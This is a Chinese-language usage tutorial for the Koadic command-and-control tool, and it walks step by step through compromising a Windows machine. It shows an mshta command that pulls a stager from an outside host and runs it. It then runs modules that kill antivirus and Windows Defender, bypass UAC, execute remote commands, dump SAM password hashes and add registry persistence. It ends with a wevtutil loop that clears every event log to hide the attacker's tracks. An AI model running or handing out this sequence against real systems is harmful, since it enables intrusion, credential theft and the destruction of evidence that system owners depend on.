Koadic使用教程笔记

记录Koadic使用笔记

安装
[root@host ~]# git clone https://github.com/zerosum0x0/koadic.git
[root@host ~]# cd koadic/
[root@host koadic]# ./koadic 
                            .
                           / \
     _                   _ | |
    | | _____   __ _  __| || |  ___
    | |/ / _ \ / _` |/ _` ||.| / __|
    |   / (o) | (_| | (_| ||.|| (__
    |_|\_\_^_/ \__,_|\__,_||:| \___|
                           |:|
                        ~\==8==/~
                            8
                            O

        -{ COM Command & Control }-
      Windows Post-Exploitation Tools
             Endless Intellect

            ~[ Version:  0xA ]~
            ~[ Stagers:    6 ]~
            ~[ Implants:  42 ]~

(koadic: sta/js/mshta)# 

注意: 需要python3环境,安装过程如果报错,可能缺少python模块,请使用pip3 install [缺少模块]安装。

使用帮助
  • help命令查看

    (koadic: sta/js/mshta)# help

      COMMAND     DESCRIPTION     
      ---------   -------------   
      api         turn off/on the rest api
      cmdshell    command shell to interact with a zombie
      creds       shows collected credentials
      domain      shows collected domain information
      edit        shell out to an editor for the current module
      exit        exits the program
      help        displays help info for a command
      info        shows the current module options
      jobs        shows info about jobs
      kill        kill a job or all jobs
      listeners   shows info about stagers
      load        reloads all modules
      previous    go back to the last used module
      pyexec      evals some python
      repeatjobs  shows info about repeating jobs
      run         runs the current module
      set         sets a variable for the current module
      sounds      turn sounds off/on: sound(0|1)
      taco        taco time       
      unset       unsets a variable for the current module
      use         switch to a different module
      verbose     turn verbosity off/on: verbose (0|1)
      zombies     lists hooked targets

    Use “help command” to find more info about a command.

    (koadic: sta/js/mshta)#

KOADIC模块说明
  • 输入use和空格然后连按两下Tab键查看模块

    (koadic: sta/js/mshta)# use [Tab][Tab]
    implant/ stager/
    (koadic: sta/js/mshta)#

stager开头的模块是用来反弹主机的,implant开头的模块是用来对反弹的主机进行操作

KOADIC使用

Koadic有几个内置模块,“stager/js/mshta”是首次执行该工具时的默认配置模块。你可以通过“info”命令来查看并配置模块。

(koadic: sta/js/mshta)# info 

    NAME       VALUE               REQ     DESCRIPTION     
    -----      ------------        ----    -------------   
    SRVHOST    107.182.30.95       yes     Where the stager should call home
    SRVPORT    9999                yes     The port to listen for stagers on
    EXPIRES                        no      MM/DD/YYYY to stop calling home
    KEYPATH                        no      Private key for TLS communications
    CERTPATH                       no      Certificate for TLS communications
    MODULE                         no      Module to run once zombie is staged

(koadic: sta/js/mshta)# 

可以看出,我们必须设置SRVHOSTSRVPORT参数才能使用satger。运行以下命令,用你自己的IP替换IP和端口号,并运行:

(koadic: sta/js/mshta)# set SRVHOST 107.182.30.95
[+] SRVHOST => 107.182.30.95    
(koadic: sta/js/mshta)# set SRVPORT 9999
[+] SRVPORT => 9999
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://107.182.30.95:9999/Dj7wx
[!] Don't edit this URL! (See: 'help portfwd')
[>] mshta http://107.182.30.95:9999/Dj7wx
(koadic: sta/js/mshta)# 

复制日志底部生成的命令并在目标计算机上运行。

mark

一个zombie机器被创建,目标机器现在已连接到了mshta stager server。
立即创建僵尸,目标机器现在连接到mshta stager服务器。
可以运行以下命令进行确认:

(koadic: sta/js/mshta)# zombies

mark

该命令将显示所有的zombie机器,我们可以看到这里只显示了个“Zombie 0”,这是因为它是迄今为止我们唯一创建的一个zombie。

“杀死”防毒软件

下一步是杀死windows defender和所有其他正在运行的防病毒软件,以确保我们可以在目标计算机上执行任何我们想要执行的命令。

命令如下:

(koadic: sta/js/mshta)# use implant/manage/killav 
(koadic: imp/man/killav)# info 
(koadic: imp/man/killav)# set ZOMBIE 0
(koadic: imp/man/killav)# run 

mark

要确认模块是否已成功执行,请运行:

(koadic: imp/man/killav)# zombies 0
权限提升

使用implant/elevate/bypassuac_compdefaults,命令如下:

(koadic: imp/man/killav)# use implant/elevate/bypassuac_compdefaults 
(koadic: imp/ele/bypassuac_compdefaults)# info 
(koadic: imp/ele/bypassuac_compdefaults)# listeners 
(koadic: imp/ele/bypassuac_compdefaults)# set PAYLOAD 0
(koadic: imp/ele/bypassuac_compdefaults)# run 

运行以下命令确认模块是否已被成功执行:

(koadic: imp/ele/bypassuac_compdefaults)# zombies

使用implant/manage/exec_cmd在CMD上运行任何Windows命令。

命令如下:

(koadic: imp/ele/bypassuac_compdefaults)# use implant/manage/exec_cmd 
(koadic: imp/man/exec_cmd)# info 
(koadic: imp/man/exec_cmd)# set ZOMBIE 0
(koadic: imp/man/exec_cmd)# run 

mark

hostname命令在目标机器上执行,将返回机器的名称。

将CMD参数更改为whoami会返回我们正在运行的用户的名称,如下所示。

mark

  • cmdshell也可以直接进入终端模式下执行命令,如下:

    (koadic: imp/man/exec_cmd)# cmdshell 0
    [koadic: ZOMBIE 0 (192.168.199.193) - C:]> whoami
    [*] Zombie 0: Job 9 (implant/manage/exec_cmd) created.
    Result for cd C:\ & whoami:
    zzqsmile\administrator

    [koadic: ZOMBIE 0 (192.168.199.193) - C:]>

mark

INTEL RAID/持久性和数据渗漏

使用implant/gather/hashdump_sam模块,来获取目标计算机上的哈希值。

命令如下:

(koadic: imp/man/exec_cmd)# use implant/gather/hashdump_sam 
(koadic: imp/gat/hashdump_sam)# info 
(koadic: imp/gat/hashdump_sam)# set GETSYSHIVE true
(koadic: imp/gat/hashdump_sam)# run 

使用implant/persist/registry模块,运行以下命令:

(koadic: imp/gat/hashdump_sam)# use implant/persist/registry 
(koadic: imp/per/registry)# info   
(koadic: imp/per/registry)# set PAYLOAD 0
(koadic: imp/per/registry)# set ZOMBIE 0
(koadic: imp/per/registry)# run 

使用该模块,我们可以将CLEANUP参数设置为true以删除注册表项,从而隐藏我们的轨迹。

对于刚刚我们获取哈希值的操作,可以运行for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1″命令,使用implant/manage/exec_cmd模块来清除所有事件日志。命令如下:

(koadic: imp/per/registry)# use implant/manage/exec_cmd 
(koadic: imp/man/exec_cmd)# info 
(koadic: imp/man/exec_cmd)# set ZOMBIE 0
(koadic: imp/man/exec_cmd)# set CMD for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1”
(koadic: imp/man/exec_cmd)# run
参考

后渗透工具Koadic实战

windows提权辅助工具koadic